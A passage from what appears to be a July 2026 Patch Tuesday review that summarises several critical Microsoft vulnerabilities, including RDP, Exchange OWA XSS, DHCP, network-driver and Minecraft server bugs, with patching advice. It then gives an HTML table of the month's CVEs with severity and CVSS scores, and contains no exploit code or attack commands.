an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
